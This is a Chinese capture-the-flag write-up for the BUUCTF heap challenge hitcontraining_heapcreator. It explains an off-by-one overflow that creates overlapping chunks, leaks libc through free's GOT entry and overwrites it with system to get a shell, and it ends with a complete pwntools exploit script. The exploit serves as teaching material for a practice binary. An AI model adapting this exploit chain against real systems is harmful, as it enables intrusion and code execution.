[BUUCTF]PWN——hitcontraining_heapcreator
hitcontraining_heapcreator
步骤:
- 例行检查,64位程序,开启了canary和nx

 - 本地试运行一下,看看大概的情况,经典的堆的菜单

 - 64位ida载入,main函数没有什么看头,直接看各个功能函数
create(),一次请求申请了两个chunk,前一个chunk里记录着后一个chunk的指针和size

edit()

show()

delete()

 - 利用思路:
利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。 - 利用过程:
1) 首先申请几个堆块看一下上述的堆的布局结构 
create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')

 和之前分析的一样,调用一次creat_heap()会创建两个chunk,第一个chunk里记录着第二个chunk的大小和地址
2)之后我将chunk0里的内容写成了‘/bin/sh’字符串,我打算泄露free的地址,然后改写为system地址,之后再执行 free(chunk0)的时候就会变成system(‘/bin/sh’)从而获取shell,顺便利用off-by-one溢出一字节的特性改写chunk1的大小,然后free掉
edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)

 现在0x40~0xc0(如图标记)的内存地址已经被free掉了,我们只要在申请一个差不多大小的chunk,就能重新得到这块内存地址,实现任意读写了,但是注意,0xa0里存放的仍然是chunk2的size和地址。
create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
我重新申请了一个chunk,并在里面将chunk2的地址覆写成了free的got表地址,泄露了free的地址
 
 得到了free的地址,泄露了libc,就可以计算出system的地址了
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')
之前我们已经将指向chunk2地址的指针覆写成了free的got表,也就是说chunk2里的内容现在是free函数的地址,现在往chnk2里写入system函数的地址,覆写掉了free函数的地址,也就是说现在free的got表地址指向的是system函数
edit(2,p64(system_addr))
最后执行free(chunk0),经过上述的操作,就变成了system(‘/bin/sh’),获取了shell
完整exp:
from pwn import *
from LibcSearcher import *
p=process('./heapcreator')
#p=remote('node3.buuoj.cn',27304)
elf=ELF('./heapcreator')
context.log_level='debug'
def create(size,content):
     p.recvuntil(':')
     p.sendline('1')
     p.recvuntil('Heap : ')
     p.sendline(str(size))
     p.recvuntil('heap:')
     p.sendline(content)
def edit(idx,content):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil(' :')
    p.sendline(str(idx))
    p.recvuntil('heap :')
    p.sendline(content)
def show(idx):
    p.recvuntil('choice :')
    p.sendline('3')
    p.recvuntil(' :')
    p.sendline(str(idx))
def delete(idx):
    p.recvuntil('choice :')
    p.sendline('4')
    p.recvuntil(' :')
    p.sendline(str(idx))
create(0x18,'aaaa')
create(0x10,'bbbb')
create(0x10,'cccc')
#gdb.attach(p)
edit(0,'/bin/sh\x00'+p64(0)*2+'\x81')
delete(1)
#gdb.attach(p)
create(0x70,p64(0)*8+p64(0x8)+p64(elf.got['free']))
#create(0x70,p64(0)*14)
#gdb.attach(p)
show(2)
free_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('free_addr: '+hex(free_addr))
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system_addr=libcbase+libc.dump('system')
log.success('system_addr: '+hex(system_addr))
edit(2,p64(system_addr))
#gdb.attach(p)
delete(0)
p.interactive()

 在堆方面是个新手,全是自己的理解,有些地方可能不对,大佬发现错误了教教我
 
[BUUCTF]PWN——hitcontraining_heapcreator的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
		
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
 - (buuctf)  - pwn入门部分wp - rip -- pwn1_sctf_2016
		
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
 - BUUCTF pwn一分题目
		
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
 - [BUUCTF]PWN——hitcontraining_uaf
		
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
 - BUUCTF PWN部分题目wp
		
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
 - buuctf --pwn part2
		
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
 - buuctf pwn wp---part1
		
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
 - [BUUCTF]PWN——pwnable_hacknote
		
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
 - [BUUCTF]PWN——ciscn_2019_es_7[详解]
		
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
 
随机推荐
- Java培训班4个月有用吗?
			
很多想学Java都会经历这样一个选择,是自学还是报班?自学的话需要一步步摸索,从无到有硬啃下来,时间没保证:可如果报班的话,目前市面上五花八门的培训机构又是鱼龙混杂,并且现在越来越多的培训机构宣称&q ...
 - 【k8s】使用Terraform一键部署EKS集群
			
本文适用范文 使用AWS海外账号 对aws.terraform.k8s有一定的了解 新建一个独立的VPC Terraform简介 terraform是一个云端的资源编排工具,官方对自己的定位:Terr ...
 - awk多文件处理时的分隔符?
			
目录 问题来源 解决方法 问题来源 我有两个文件,一个是plink过滤后得到的.fam文件(空格分隔):另一个是样本对应关系文件(tab分隔). 文件1: 文件2: 两个文件匹配,awk常规操作.这里 ...
 - 【机器学习与R语言】3-概率学习朴素贝叶斯(NB)
			
目录 1.理解朴素贝叶斯 1)基本概念 2)朴素贝叶斯算法 2.朴素贝斯分类应用 1)收集数据 2)探索和准备数据 3)训练模型 4)评估模型性能 5)提升模型性能 1.理解朴素贝叶斯 1)基本概念 ...
 - mingling
			
mysql> USE mon Reading table information for completion of table and column names You can turn of ...
 - 同一局域网,远程连接别人的Mysql数据库
			
数据库:MySQL 工具: Navicat, 电脑A连接电脑B的数据库, 确保两部电脑都是在同一个局域网,都是连着同一个路由器,或者连接同一个WiFi, 如果不确定是否为同一个局域网,可以打开cmd, ...
 - 【模板】滑动窗口最值(单调队列)/洛谷P1886
			
题目链接 https://www.luogu.com.cn/problem/P1886 题目大意 有一个长为 \(n\) 的序列 \(a\) ,以及一个大小为 \(k\) 的窗口.现在这个从左边开始向 ...
 - [源码解析] PyTorch分布式优化器(1)----基石篇
			
[源码解析] PyTorch分布式优化器(1)----基石篇 目录 [源码解析] PyTorch分布式优化器(1)----基石篇 0x00 摘要 0x01 从问题出发 1.1 示例 1.2 问题点 0 ...
 - day22面向对象编程思想
			
day22面向对象编程思想 1.面向过程 面向过程: 核心是"过程"二字 过程的终极奥义就是将程序流程化 过程是"流水线",用来分步骤解决问题的 面向对象: 核 ...
 - Scala(五)【集合的高级使用】
			
目录 一.集合属性 size length contains mkString 二.集合方法 drop.dropRight distinct:去重 head.last:获取第一个.最后一个元素 tai ...